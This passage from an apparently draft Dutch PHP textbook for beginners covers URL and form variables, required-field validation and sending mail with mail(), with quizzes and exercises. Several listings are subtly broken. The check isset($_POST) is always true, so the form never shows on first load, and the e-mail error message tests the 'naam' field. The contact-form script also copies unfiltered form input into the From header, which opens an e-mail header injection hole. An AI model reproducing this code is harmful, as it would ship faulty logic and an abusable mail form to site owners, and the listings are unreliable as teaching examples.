            else {
                //pagina bestaat niet
                echo 'De opgevraagde pagina bestaat niet.';
            }
        }
    </div>

</body>
</html>
```

Opmerking: voor de betekenis van het uitroepteken voor `isset()` zie tabel 3 uit hoofdstuk 4.

Zelftest

1. Wat is de variabelen-naam van URL-variabelen?

a) $_URL
b) $URL
c) $_GET
d) $GET

2. Welke URL met URL-variabelen is correct?

a) http://domain.tld/script.php?page=home+action=news
b) http://domain.tld/script.php?page=home&action=news
c) http://domain.tld/script.php&page=home?action=news
d) http://domain.tld/script.php?page->home&action->news

3. Kunnen URL-variabelen altijd vertrouwd worden?

a) Ja
b) Nee

4. Wat doet de functie `htmlspecialchars()`?

a) De functie kan kwaadaardige code onschadelijk maken.
b) De functie geeft een lijst met speciale tekens weer.
c) De functie kijkt of een gegeven bestand een extern bestand is of dat het op de lokale server aanwezig is.
d) De functie geeft HTML-code als tekst weer.

5. Welke stelling(en) is/zijn waar?

I `file_exists()` **controleert of een extern bestand bestaat.**
II `file_exists()` **controleert of een lokaal bestand bestaat.**

a) Alleen stelling I is waar.
b) Alleen stelling II is waar.
c) Stelling I en stelling II zijn beide waar.
d) Stelling I en stelling II zijn beide onwaar.

6. Welke stelling(en) is/zijn waar?

I **Gebruik van URL-variabelen kan de hoeveelheid dubbele HTML-code beperken.**
II **URL-variabelen zijn een alternatief voor HTML-frames.**

a) Alleen stelling I is waar.
b) Alleen stelling II is waar.
c) Stelling I en stelling II zijn beide waar.
d) Stelling I en stelling II zijn beide onwaar.

Oefening: page=index.php?

Gegeven is onderstaande HTML-code van het bestand **contact.html** (zie ook oefening 0):

```
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
      <link href="style.css" type="text/css" />
      <title>Contact</title>
</head>
<body>

      <div id="menu">
            <ul>
                  <li><a href="index.html">Home</a></li>
                  <li><a href="nieuws.html">Nieuws</a></li>
                  <li><a href="producten.html">Producten</a></li>
                  <li><a href="over.html">Over Ons</a></li>
                  <li><a href="contact.html">Contact</a></li>
            </ul>
      </div>

      <div id="content">
            <h1>Contact</h1>
            <p>Gebruik onderstaand formulier om contact op te nemen.</p>
            <form action="form.php">
            Email: <input type="text" name="email" /><br />
            Bericht: <textarea name="bericht" rows="8"
cols="35"></textarea><br />
            <input type="submit" value="Verzenden" /></form>
      </div>

</body>
</html>
```

Opdracht

Maak een bestand *index.php* op basis van deze html-pagina, analoog aan het voorbeeld in paragraaf 0. Zorg er voor dat het menu en de inhoud van de *content*-div in afzonderlijke bestanden terecht komen.
De inhoud van het contactformulier moet met behulp van de URL-variabele *page* met waarde *contact* aangeroepen worden. Indien de URL-variabele een andere waarde heeft wordt het contactformulier niet weergegeven.

8 Formulier-variabelen

Familie van de URL-variabelen zijn de formulier-variabelen. Op het moment dat een HTML-formulier wordt verzonden kan een PHP script worden aangeroepen. Dit PHP script ontvangt de in het formulier ingevoerde informatie dan als formulier-variabelen.

Theorie

Net als de URL-variabelen zijn de formulier-variabelen beschikbaar via een array: `$_POST`.
De sleutels van deze array zijn gelijk aan de attributen *name* van het verzonden formulier.

Het formulier

De basistypen voor velden in een formulier zijn het invoervak, de radioknoppen, de selectievakjes en het tekstveld:

```
<form action="script.php" method="post">

<input type="text" name="email" />

<input type="radio" name="abonnee" value="ja" />
<input type="radio" name="abonnee" value="nee" />

<input type="checkbox" name="keuze1" value="true" />
<input type="checkbox" name="keuze2" value="true" />
<input type="checkbox" name="keuze3" value="true" />

<textarea name="bericht" rows="5" cols="20"></textarea>

<input type="submit" value="verzenden" />

</form>
```

Het eerste belangrijke onderdeel van het formulier is de formulier-actie. Hierin wordt het PHP bestand vermeldt waarnaar het formulier 'verzonden' wordt. Dit PHP bestand pikt dus de inhoud van het formulier op en zal iets met de inhoud van het formulier moeten doen. In het hier genoemde PHP bestand komt ook de `$_POST` array beschikbaar met de inhoud van het formulier.

Tweede onderdeel is de formulier-methode. Hiervoor zijn twee opties mogelijk: *post* en *get*. Indien *post* wordt gekozen, komt de inhoud van het formulier via de `$_POST` array beschikbaar aan het opgegeven script. Indien voor *get* wordt gekozen komt de inhoud van het formulier ook aan het opgegeven script beschikbaar, maar dan via de `$_GET` array (zie hoofdstuk 7). Het tweede verschil is dat bij verzending via `$_GET` de inhoud van het formulier in de URL wordt gezet. Bij `$_POST` blijft de inhoud van het formulier verborgen.

In de laatste plaats moet ieder formulierveld een uniek *name*-attribuut hebben. Enige uitzondering zijn de radioknoppen: uit radioknoppen met dezelfde naam kan maar één waarde worden gekozen, waardoor deze radioknoppen een groep vormen. Indien meerdere velden dezelfde *name* hebben, zullen deze elkaar overschrijven.

Formulierinhoud in PHP

Indien een formulier wordt verzonden komt de ingevulde inhoud beschikbaar aan het in de formulier-actie opgegeven script. Via de `$_POST` array zijn de gegevens te gebruiken:

$_POST['*name*']

Hierin is *name* gelijk aan het *name*-attribuut van een formulierveld.

Het formulier uit de vorige paragraaf levert dus de volgende sleutels in de `$_POST` array op:

```
$_POST['email'];
$_POST['abonnee'];
$_POST['keuze1'];
$_POST['keuze2'];
$_POST['keuze3'];
$_POST['bericht'];
```

Deze waarden kunnen dus verder in het script gebruikt worden.

Veiligheid

Voor formulier-variabelen kunnen dezelfde opmerkingen met betrekking tot veiligheid worden gemaakt als voor URL-variabelen. Hiervoor wordt dan ook verwezen naar hoofdstuk 7.

Gegevens uit formulieren kunnen HTML bevatten, dus het is verstandig om de functie `htmlspecialchars()` toe te passen voordat formuliergegevens in een webpagina worden weergegeven, zoals besproken is in hoofdstuk 7.

Praktijkvoorbeeld: formuliercontrole

In veel formulieren is het verplicht om één of meerdere velden in te vullen. PHP kan gebruikt worden om te kijken of de bezoeker ook daadwerkelijk alle verplichte velden heeft ingevuld. In dit praktijkvoorbeeld gaan we een eenvoudig formulier in actie zien en zullen we een controle inbouwen voor verplichte velden.

Hierbij zal de functie `empty()` gebruikt gaan worden:

bool **empty** (mixed *$var*)

Deze functie controleert of de opgegeven variabele leeg is. Als dat het geval is wordt `TRUE` gegeven. Als de variabele niet leeg is wordt `FALSE` gegeven.

Formuleren

Laten we eerst eens het formulier bekijken. In dit eenvoudige voorbeeld bestaat het formulier uit twee velden: *naam* en *email*.

```
<form action="praktijkvoorbeeld.php" method="post">
Naam: <input type="text" name="naam" /><br />
Email: <input type="text" name="email" /><br />
<input type="submit" value="Verzenden" />
</form>
```

Als formulieractie is gekozen voor het bestand *praktijkvoorbeeld.php* dat via de *post*-methode wordt verzonden.

Controleren

Op het moment dat het formulier verzonden wordt, zal de verzonden informatie worden opgepikt door *praktijkvoorbeed.php*. Omdat voor de veldnamen *naam* en *email* is gebruikt, is de inhoud van deze velden beschikbaar in respectievelijk `$_POST['naam']` en `$_POST['email']`.

Met dit gegeven en de functie `empty()` kunnen we een formuliercontrole opstellen:

```
//veldcontrole
if (empty($_POST['naam'])) $veldfout['naam'] = TRUE;
if (empty($_POST['email'])) $veldfout['email'] = TRUE;

//afhandeling
if (isset($veldfout)) {
    //formulier incorrect ingevuld
    echo 'Niet alle velden zijn ingevuld.';
}
else {
    //formulier correct
    echo 'Alle velden zijn ingevuld.';
}
```

Allereerst wordt voor ieder veld gecontroleerd of er iets is ingevuld. Als niets is ingevuld wordt een sleutel aan de array `$veldfout` toegevoegd. De sleutelnaam is hierbij gelijk aan de naam van het veld dat leeg is gelaten. In dit voorbeeld wordt verder de waarde `TRUE` toegekend, maar dit kan ook iedere willekeurige andere waarde zijn.

Op het moment dat alle velden correct zijn ingevuld, zal de array `$veldfout` niet bestaan. Bestaat de array wel, dan is in ieder geval één veld niet ingevuld. Met behulp van `isset()` kan nu onderscheid gemaakt worden tussen correct en niet correct ingevulde formulieren.

Combineren

Tijd om de controle en het formulier samen te voegen. Wederom zal nu `isset()` gebruikt worden. Ditmaal om te bepalen of het formulier verzonden is of niet. Op het moment dat het formulier niet verzonden is, zal `$_POST` immers niet bestaan.

```
<!DOCTYPE html PUBLIC "-
//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xht
ml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Praktijkvoorbeeld Formuliercontrole</title>
</head>
<body>

<?php
if (isset($_POST)) {
    //formulier is verzonden, controleer formulier
    if (empty($_POST['naam'])) $veldfout['naam'] = TRUE;
    if (empty($_POST['email'])) $veldfout['email'] = TRUE;

    //afhandeling
    if (isset($veldfout)) {
        //formulier incorrect ingevuld
        echo 'Niet alle velden zijn ingevuld.';
    }
    else {
        //formulier correct
        echo 'Alle velden zijn ingevuld.';
    }
}
else {
    //formulier is niet verzonden, geef formulier weer
    ?>
    <form action="praktijkvoorbeeld.php" method="post">
    Naam: <input type="text" name="naam" /><br />
    Email: <input type="text" name="email" /><br />
    <input type="submit" value="Verzenden" />
    </form>
    <?php
}
?>

</body>
</html>
```

Indien het formulier niet is verzonden, wordt het formulier weergegeven. Indien het formulier wel is verzonden, wordt de foutcontrole uitgevoerd.

Uitbreiden

Tot nu toe is de formuliercontrole niet echt gebruiksvriendelijk. Zodra een fout wordt gemaakt zijn alle gegevens die wel correct zijn ingevoerd kwijt. Verder weet de gebruiker niet wat er precies mis is gegaan.

Omdat in de formuliercontrole wordt onthouden welke velden incorrect zijn ingevuld, kunnen we deze informatie ook terugkoppelen naar de gebruiker. Daarnaast willen we het formulier opnieuw weergeven zodra dit niet correct is ingevuld, waarbij de reeds ingevulde informatie automatisch opnieuw in de velden neergezet wordt.

Voor deze uitbreiding zullen we afstappen van de structuur die in de vorige paragraaf aangereikt is. Voor dit redelijk gecompliceerde script is het dan ook verstandig om een stappenplan op te stellen:

1. Bepaal of formulier is verzonden.
2. Als formulier is verzonden, controleer of er incorrecte velden zijn.
3. Als velden correct, geef succesmelding.
4. Als formulier niet verzonden of niet correct, geef formulier weer.
5. Als formulier incorrect, geef melding bij incorrect veld.
6. Als formulier incorrect, vul verstrekte gegevens terug in.

Stap 1

Om te bepalen of het formulier is verzonden kunnen we gebruik maken van de reeds bekende code:

```
if (isset($_POST)) {
    //formulier is verzonden
}
else {
    //formulier niet verzonden
}
```

Stap 2

Als het formulier verzonden is, zullen we controleren of de velden correct zijn ingevuld. Ook hier kunnen we weer de eerder afgeleide code gebruiken:

```
if (isset($_POST)) {
    //formulier is verzonden
    //controleer velden:
    if (empty($_POST['naam'])) $veldfout['naam'] = TRUE;
    if (empty($_POST['email'])) $veldfout['email'] = TRUE;
}
else {
    //formulier niet verzonden
}
```

Stap 3

Als alle velden correct zijn ingevuld, zal `$veldfout` niet bestaan en kunnen we een succesmelding weergeven. Let op het uitroepteken voor `isset()`. In plaats van te kijken of `$veldfout` bestaat kijken we door toevoeging van het uitroepteken juist of `$veldfout` *niet* bestaat.

```
if (isset($_POST)) {
    //formulier is verzonden
    //controleer velden:
    if (empty($_POST['naam'])) $veldfout['naam'] = TRUE;
    if (empty($_POST['email'])) $veldfout['email'] = TRUE;

    //afhandeling
    if (!isset($veldfout)) {
        //als $veldfout niet bestaat:
        echo 'Alle velden zijn ingevuld';
    }
}
else {
    //formulier niet verzonden
}
```

Stap 4

Nu wordt het formulier toegevoegd. Omdat het formulier ook moet worden weergegeven als het formulier wel is verzonden maar niet correct ingevuld, kunnen we het formulier niet in de resterende `else` bij `//formulier niet verzonden` onderbrengen. In plaats daarvan zullen we bij deze `else` een extra variabele toevoegen die aangeeft dat het formulier niet is verzonden.

Het daadwerkelijke formulier brengen we dan onder in een losse `if`-constructie die er voor zal zorgen dat het formulier alleen wordt weergegeven als het niet is verzonden of niet correct is ingevuld:

```
if (isset($_POST)) {
    //formulier is verzonden, controleer velden:
    if (empty($_POST['naam'])) $veldfout['naam'] = TRUE;
    if (empty($_POST['email'])) $veldfout['email'] = TRUE;

    if (!isset($veldfout)) {
        //als $veldfout niet bestaat:
        echo 'Alle velden zijn ingevuld';
    }
}
else {
    //formulier niet verzonden
    $nietverzonden = TRUE;
}

if (isset($veldfout) || isset($nietverzonden)) {
    //formulier niet verzonden of fout, laat formulier zien:
    ?>
    <form action="praktijkvoorbeeld.php" method="post">
    Naam: <input type="text" name="naam" /><br />
    Email: <input type="text" name="email" /><br />
    <input type="submit" value="Verzenden" />
    </form>
    <?php
}
```

Stap 5

Voor het weergeven van de foutmeldingen gaan we gebruik maken van `$veldfout`. Ieder verkeerd ingevulde veld heeft een vermelding in `$veldfout` die we kunnen gebruiken om op juiste plek de juiste foutmelding weer te geven.

```
if (isset($veldfout) || isset($nietverzonden)) {
    //formulier niet verzonden of fout, laat formulier zien:
    ?>
    <form action="praktijkvoorbeeld.php" method="post">
    <?php if ($veldfout['naam'] == TRUE) echo 'Naam verplicht:<br />'; ?>
    Naam: <input type="text" name="naam" /><br />
    <?php if ($veldfout['naam'] == TRUE) echo 'Email verplicht:<br />'; ?>
    Email: <input type="text" name="email" /><br />
    <input type="submit" value="Verzenden" />
    </form>
    <?php
}
```

Het eerste gedeelte van het script is hier tijdelijk weggelaten.

Stap 6

De laatste stap is het terug invullen van reeds opgegeven informatie. Voor het terug invullen van informatie worden er *value*-attributen aan de formuliervelden toegevoegd. Om te voorkomen dat kwaadaardige code wordt geïnjecteerd zal ook de functie `htmlspecialchars()` gebruikt gaan worden.

```
if (isset($veldfout) || isset($nietverzonden)) {
    //formulier niet verzonden of fout, laat formulier zien:
    ?>
    <form action="praktijkvoorbeeld.php" method="post">

    <?php if ($veldfout['naam'] == TRUE) echo 'Naam verplicht:<br />'; ?>
    Naam: <input type="text" name="naam" <?php if (isset($_POST['naam'])) e
cho 'value="'.htmlspecialchars($_POST['naam']).'" '; ?>/><br />

    <?php if ($veldfout['naam'] == TRUE) echo 'Email verplicht:<br />'; ?>
    Email: <input type="text" name="email" <?php if (isset($_POST['email'])
) echo 'value="'.htmlspecialchars($_POST['email']).'" '; ?>/><br />

    <input type="submit" value="Verzenden" />
    </form>
    <?php
}
```

Het eerste gedeelte van het script is hier tijdelijk weggelaten.

De totale code van het formulier met controle en foutafhandeling wordt hiermee als volgt:

```
<!DOCTYPE html PUBLIC "-
//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xht
ml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Praktijkvoorbeeld Formuliercontrole</title>
</head>
<body>

<?php
if (isset($_POST)) {
    //formulier is verzonden
    //controleer velden:
    if (empty($_POST['naam'])) $veldfout['naam'] = TRUE;
    if (empty($_POST['email'])) $veldfout['email'] = TRUE;

    //afhandeling
    if (!isset($veldfout)) {
        //als $veldfout niet bestaat:
        echo 'Alle velden zijn ingevuld';
    }
}
else {
    //formulier niet verzonden
    $nietverzonden = TRUE;
}

if (isset($veldfout) || isset($nietverzonden)) {
    //formulier niet verzonden of fout, laat formulier zien:
    ?>
    <form action="praktijkvoorbeeld.php" method="post">
    <?php if ($veldfout['naam'] == TRUE) echo 'Naam verplicht:<br />'; ?>
    Naam: <input type="text" name="naam" <?php if (isset($_POST['naam'])) e
cho 'value="'.htmlspecialchars($_POST['naam']).'" '; ?>/><br />
    <?php if ($veldfout['naam'] == TRUE) echo 'Email verplicht:<br />'; ?>
    Email: <input type="text" name="email" <?php if (isset($_POST['email'])
) echo 'value="'.htmlspecialchars($_POST['email']).'" '; ?>/><br />
    <input type="submit" value="Verzenden" />
    </form>
    <?php
}
?>

</body>
</html>
```

Zelftest

1. De functie `empty()`…

a) …controleert of een variabele leeg is.
b) …maakt een variabele leeg.
c) …is een lege functie zonder betekenis.
d) …bestaat niet.

2. `sleutel` in `$_POST['sleutel']` is gelijk aan?

a) De naam van het formulier.
b) De waarde van het formulierveld.
c) De naam van het formulierveld.
d) De methode van het formulier.

3. Welke van onderstaande stellingen is/zijn waar?

I Radioknoppen moeten allen een uniek name-attribuut hebben.
II Waarden in `$_POST` zijn altijd betrouwbaar.

a) Alleen stelling I is waar.
b) Alleen stelling II is waar.
c) Beide stellingen zijn waar.
d) Beide stellingen zijn onwaar.

Oefening: raad het getal

De functie `rand()` genereert een willekeurig getal tussen aangegeven grenzen:

int **rand** (int *$min* , int *$max*)

Om een willekeurig getal tussen 5 en 10 te genereren (inclusief 5 en 10), kan dus `rand(5, 10)` worden gebruikt.

Opdracht

Maak een eenvoudig spel dat de bezoeker een getal tussen 1 en 5 laat raden. De bezoeker vult een gekozen getal in een formulierveld in en verzendt het formulier. Het script controleert of het gekozen getal gelijk is aan het door `rand()` gegenereerde willekeurige getal.

Het spel moet de volgende functies bevatten:

- Er wordt gecontroleerd of het ingevulde getal daadwerkelijk tussen 1 en 5 ligt. Indien dat niet het geval is wordt de bezoeker hier op gewezen (zie tabel 2 in hoofdstuk 4).
- Er wordt gecontroleerd of het ingevulde getal gelijk is aan een gegenereerd getal. Indien het getal juist is geraden wordt dit aan de bezoeker medegedeeld. Indien het getal niet is geraden wordt dit eveneens aan de bezoeker medegedeeld.
- Het invoervak blijft altijd beschikbaar om het spel nogmaals te spelen.

9 E-mail via PHP

Een van de meest gebruikte mogelijkheden van PHP is de functie om een e-mail te kunnen verzenden. De e-mailfunctie maakt het mogelijk om PHP te gebruiken voor de afhandeling van een mailformulier. Ook in meer ingewikkelder systemen komt de e-mailfunctie regelmatig terug. Denk hierbij aan e-mails die verzonden worden voor accountbevestiging of opties om een verloren wachtwoord terug op te vragen. In feite komt de e-mailfunctie terug in ieder PHP script dat iets doet met gebruikersregistratie.

Theorie

De functie waar het in dit hoofdstuk allemaal om draait is `mail()`:

bool **mail** (string *$to* , string *$subject* , string *$message* , string *$additional_headers*)

Achtereenvolgens moet voor `$to` het e-mailadres van de ontvanger worden ingevoerd, voor `$subject` het onderwerp dat aan de e-mail wordt gegeven en `$message` bevat de daadwerkelijke inhoud van het e-mailbericht.

In `$additional_headers` kunnen een of meerdere *headers* worden opgenomen die aan het verzonden bericht worden toegevoegd. Eén header is verplicht en dat is de *From*-header die aangeeft wie de afzender van het bericht is. In het algemeen is het niet noodzakelijk om andere headers dan de From-header aan een bericht toe te voegen.

Daar waar $to één enkel e-mailadres is, mag het e-mailadres in de From-header in de uitgebreide vorm worden geschreven:

Naam <naam@provider.net>

Het voordeel van deze uitgebreide vorm is dat de ontvanger direct de naam van de afzender in beeld krijgt en niet alleen het e-mailadres.

Voorbeeld

Bovenstaande theorie kan er in PHP code als volgt uit zien:

```
$to = 'ontvanger@domain.tld';
$from = 'From: Voornaam Achternaam <verzender@domain.tld>';
$subject = 'onderwerp van dit bericht';
$message = 'Beste ontvanger,

Dit is mijn eerste mailtje dat ik via PHP verstuur!';

mail($to, $subject, $message, $from);
```

Merk op dat er voor naam en adres van de verzender expliciet `From:` is vermeld. Zonder deze vermelding weet PHP niet wat voor een soort header het betreft en kan het bericht niet worden verzonden.

Het bericht is in dit voorbeeld een *plain text* bericht. Geen HTML, geen opmaak, alleen tekst. Het is mogelijk om zonder <br /> of \n meerdere regels in het bericht te gebruiken, simpelweg door het bericht over meerdere regels in de PHP code te zetten. De meeste moderne e-mailclients geven dit soort berichten correct over meerdere regels weer.

Verzendcontrole

Indien het bericht succesvol aan de mailserver is aangeboden zal de functie `mail()` de waarde `TRUE` retourneren. Als het bericht niet succesvol verzonden kon worden, zal de waarde `FALSE`

geretourneerd worden. Dit gegeven kan gebruikt worden om te rapporteren of een bericht verzonden is of niet:

```
if (mail($to, $subject, $message, $from)) {
    echo 'Bericht is verzonden.';
}
else {
    echo 'Bericht niet verzonden.';
}
```

Merk op dat dit niets zegt over of een e-mail daadwerkelijk is aangekomen of niet.

HTML E-mail

Naast *plain text* e-mail is het ook mogelijk om berichten in HTML-opmaak te verzenden. Het principe is grotendeels hetzelfde. Uiteraard wordt het bericht nu in HTML opgemaakt en in dat geval zal dus wel van <br /> gebruik moeten worden gemaakt om een nieuwe regel in te voegen.

Behalve het bericht in HTML worden er nog twee headers toegevoegd die aan de mailclient van de ontvanger duidelijk moeten maken dat het hier om een HTML e-mailbericht gaat. Samen met de *From:*-header worden er dus drie headers aan het bericht toegevoegd. Headers worden met een CRLF (ofwel \r\n) van elkaar gescheiden.

Onderstaand voorbeeld laat zien hoe met HTML e-mail gewerkt kan worden:

```
//headers voor html-mail:
$headers = 'MIME-Version: 1.0' . "\r\n";
$headers = $headers . 'Content-type: text/html; charset=iso-8859-
1' . "\r\n";
//from-header:
$headers = $headers . 'From: Voornaam Achternaam <verzender@domain.tld>';
//overige mail-gerelateerde zaken
$to      = 'ontvanger@domain.tld';
$subject = 'onderwerp van dit bericht';
//bericht in HTML opgemaakt:
$message = '<html><body>
<b>Beste ontvanger</b>,<br /><br />
Dit is mijn eerste mailtje dat ik via PHP verstuur!
</body></html>';

//verzend het bericht:
mail($to, $subject, $message, $headers);
```

De eerste header geeft aan dat het bericht gebruik maakt van de *Multipurpose Internet Mail Extensions (MIME)*. Dit is een toevoeging aan de oorspronkelijke e-mail standaard die toestaat HTML in emailberichten te gebruiken. De tweede header geeft aan dat de inhoud een combinatie van tekst en HTML is en geeft tevens aan welke karakterset is gebruikt. Naar keuze kan hier ook voor een andere karakterset worden gekozen, zoals UTF-8. De derde header is de gebruikelijke *From:*-header.

De verschillende onderdelen van de headers worden aan elkaar geknoopt door middel van punten (zie hoofdstuk 2). De drie headers worden gescheiden door een CRLF, ofwel `"\r\n"`.

Het te verzenden e-mailbericht bevat het bericht in HTML formaat met alle bijbehorende tags.

Opmerkingen

Let er bij het verzenden van HTML e-mail op dat veel clients slechts een subset van de volledige HTML specificatie ondersteunen. Meer geavanceerde onderdelen van HTML worden in sommige clients dan ook niet of verkeerd weergegeven.
Pas tevens op met CSS, waarvoor de ondersteuning vaak nog slechter is dan HTML.

De PHP functie `mail()` is niet geschikt om grote hoeveelheden e-mail achter elkaar te verzenden. De reden hiervoor is dat iedere keer dat de functie wordt aangeroepen een nieuwe verbinding met de mailserver wordt opgezet. Voor grote hoeveelheden email zoals nieuwsbrieven en mailinglijsten is het vele malen efficiënter als de verbinding met de mailserver in stand wordt gehouden totdat alle berichten verzonden zijn.

Als alternatief voor `mail()` kan de programmatuur PHPMailer van Worx International gebruikt worden. Voor middelgrote mailinglijsten kan PHPMailer gebruik maken van Sendmail (vermits dit op de webserver is geconfigureerd). Voor grote mailinglijsten kan PHPMailer gebruikt worden om direct aan een SMTP mailserver aan te koppelen. PHPMailer is te downloaden via http://phpmailer.worxware.com/.

Praktijkvoorbeeld: e-mailformulier

In dit voorbeeld wordt een eenvoudig mailformulier behandeld. Dit formulier bestaat uit een HTML-gedeelte waar de bezoeker van de website enige gegevens kan invullen en een PHP-gedeelte dat de daadwerkelijke verzending op zich neemt.

Laten we beginnen met het HTML-gedeelte. Dit eenvoudige formulier bestaat uit drie velden waarin de bezoeker naam, e-mailadres en bericht kan invullen:

```
<!DOCTYPE html PUBLIC "-
//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xht
ml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Contact</title>
</head>
<body>

<h1>Contact</h1>

<form action="contact.php" method="post">

<table border="0">
    <tr>
        <td>Naam:</td>
        <td><input type="text" name="naam" /></td>
    </tr>
    <tr>
        <td>Email:</td>
        <td><input type="text" name="email" /></td>
    </tr>
    <tr>
        <td>Bericht:</td>
        <td><textarea name="bericht" rows="5" cols="20"></textarea></td>
    </tr>
    <tr>
        <td> </td>
        <td><input type="submit" value="Verzenden" /></td>
    </tr>
</table>

</form>

</body>
</html>
```

Het formulier wordt opgeslagen als *contact.php*. Zoals uit de form-action blijkt wordt bij verzenden het formulier dus naar zichzelf verstuurd. Hiermee is het mogelijk om formulier en verzendscript in één bestand bij elkaar te houden. Het bij elkaar houden van formulier en script maakt het makkelijker om later een gebruiksvriendelijke formuliercontrole toe te voegen.

Verzendscript

Voor dit eenvoudige formulier heeft het niet zo veel nut om van HTML e-mail gebruik te maken. Het verzendscript kan er dan als volgt uit zien:

```
//definieer verzendopties
$ontvanger = 'je_eigen_em@iladres.tld';
$onderwerp = 'Emailformulier PHPBoek';

//stel bericht op
$bericht = 'Naam: '.$_POST['naam'].'
Email: '.$_POST['email'].'

Bericht: '.$_POST['bericht'];

//stel verzend-header op
$verzender = 'From: '.$_POST['naam'].' <'.$_POST['email'].'>';

//verzend bericht
if (mail($ontvanger, $onderwerp, $bericht, $verzender)) {
    //succesmelding als correct verzonden
    echo '<p>Bericht is succesvol verzonden.</p>';
}
else {
    //foutmelding als niet verzonden
    echo '<p>Er is een fout opgetreden bij het verzenden van het bericht. P
robeer het later nogmaals.</p>';
}
```

Allereerst worden ontvanger en onderwerp vastgelegd. Het bericht wordt vervolgens samengesteld uit de gegevens van het formulier. De *From:*-header wordt eveneens samengesteld uit gegevens van het formulier. Dit alles wordt vervolgens gebruikt in `mail()` om het bericht te verzenden.

Formulier en script samenvoegen

Het script moet nu nog aan het formulier worden toegevoegd. De functie `isset()` uit hoofdstuk 7 kan ook hier weer gebruikt worden. Ditmaal om te bepalen of het formulier verzonden is of niet. Indien `$_POST` niet bestaat is het formulier niet verzonden en moet het formulier worden weergegeven. Bestaat `$_POST` wel, dan is er iets ingevuld en kan een e-mail worden verzonden.

Samengevoegd kan het mailscript er dus als volgt uit zien:

```
<!DOCTYPE html PUBLIC "-
//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xht
ml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Contact</title>
</head>
<body>

<h1>Contact</h1>
```

```
<?php
if (!isset($_POST)) {
    //formulier niet verzonden, geef formulier weer
    ?>
    <form action="contact.php" method="post">

    <table border="0">
        <tr>
            <td>Naam:</td>
            <td><input type="text" name="naam" /></td>
        </tr>
        <tr>
            <td>Email:</td>
            <td><input type="text" name="email" /></td>
        </tr>
        <tr>
            <td>Bericht:</td>
            <td><textarea name="bericht" rows="5" cols="20"></textarea></td
>
        </tr>
        <tr>
            <td> </td>
            <td><input type="submit" value="Verzenden" /></td>
        </tr>
    </table>

    </form>
    <?php
}
else {
    //formulier wel verzonden, verzend bericht
    //definieer verzendopties
    $ontvanger = 'je_eigen_em@iladres.tld';
    $onderwerp = 'Emailformulier PHPBoek';

    //stel bericht op
    $bericht = 'Naam: '.$_POST['naam'].'
    Email: '.$_POST['email'].'

    Bericht: '.$_POST['bericht'];

    //stel verzend-header op
    $verzender = 'From: '.$_POST['naam'].' <'.$_POST['email'].'>';

    //verzend bericht
    if (mail($ontvanger, $onderwerp, $bericht, $verzender)) {
        //succesmelding als correct verzonden
        echo '<p>Bericht is succesvol verzonden.</p>';
    }
    else {
        //foutmelding als niet verzonden
        echo '<p>Er is een fout opgetreden bij het verzenden van het berich
t. Probeer het later nogmaals.</p>';
    }
}
?>

</body>
</html>
```

Zelftest

1. Er is één header verplicht bij het gebruik van `mail()`. Welke?

a) Een header die aangeeft of het bericht in HTML of plaintext is.
b) Een header die aangeeft welke karakterset is gebruikt.
c) Een header die aangeeft wie de ontvanger van het bericht is.
d) Een header die aangeeft wie de afzender van het bericht is.

2. Welke van de onderstaande stelling(en) is/zijn waar?

I `mail()` **kan controleren of een bericht verzonden is.**
II `mail()` **kan controleren of een bericht aangekomen is.**

a) Alleen stelling I is waar.
b) Alleen stelling II is waar.
c) Beide stellingen zijn waar.
d) Beide stellingen zijn onwaar.

3. Meerdere e-mail headers worden gescheiden door…

a) … een spatie.
b) … een CRLF.
c) … een komma.
d) … een \n\r.

4. Welke van onderstaande stelling(en) is/zijn waar?

I **Het is geen enkel probleem om CSS in HTML e-mails te gebruiken.**
II `mail()` **kan zonder problemen gebruikt worden voor het verzenden van grote hoeveelheden e-mail.**

a) Alleen stelling I is waar.
b) Alleen stelling II is waar.
c) Beide stellingen zijn waar.
d) Beide stellingen zijn onwaar.

5. Waarom is het handig om formulier en script in één bestand te hebben?

a) Script en formulier raken zo niet kwijt.
b) Het is niet mogelijk om een formulier en script over twee bestanden te splitsen.
c) Het is eenvoudiger om een foutcontrole toe te voegen.
d) Antwoord d.

Oefening: e-mailformulier met foutcontrole

Opdracht 1

Maak een mailformulier waarbij de bezoeker gevraagd wordt om naam, e-mailadres, adresgegevens en een bericht in te vullen. Beslis zelf welke velden hiervoor noodzakelijk zijn en hoe deze velden in het formulier worden weergegeven.

Een druk op de verzendknop zorgt ervoor dat het formulier in HTML-formaat wordt verzonden. Gebruik een tabel om de gegevens overzichtelijk in de e-mail weer te geven.

Opdracht 2

Voeg een foutcontrole toe aan het zojuist gemaakte formulier. Hierbij kan de theorie uit hoofdstuk 8 worden gebruikt. Naam, e-mailadres en bericht zijn verplichte velden. De overige velden zijn niet verplicht.

10 Volgende hoofdstukken

- $_FILES
- Werken met lokale bestanden
- Beveiliging (?, zit misschien al in de verschillende hoofdstukken, na session nog misschien een herhaling over alle beveiligingsaspecten waar rekening mee moet worden gehouden)
- $_COOKIE
- $_SESSION
- $_SERVER
- Wiskundige bewerkingen (+ - / *; round(), etc.)
- Regex
- Lussen
- Functies

Index

G

H

I

K

L

M

N

O

P

R

S

T

U

V

W

X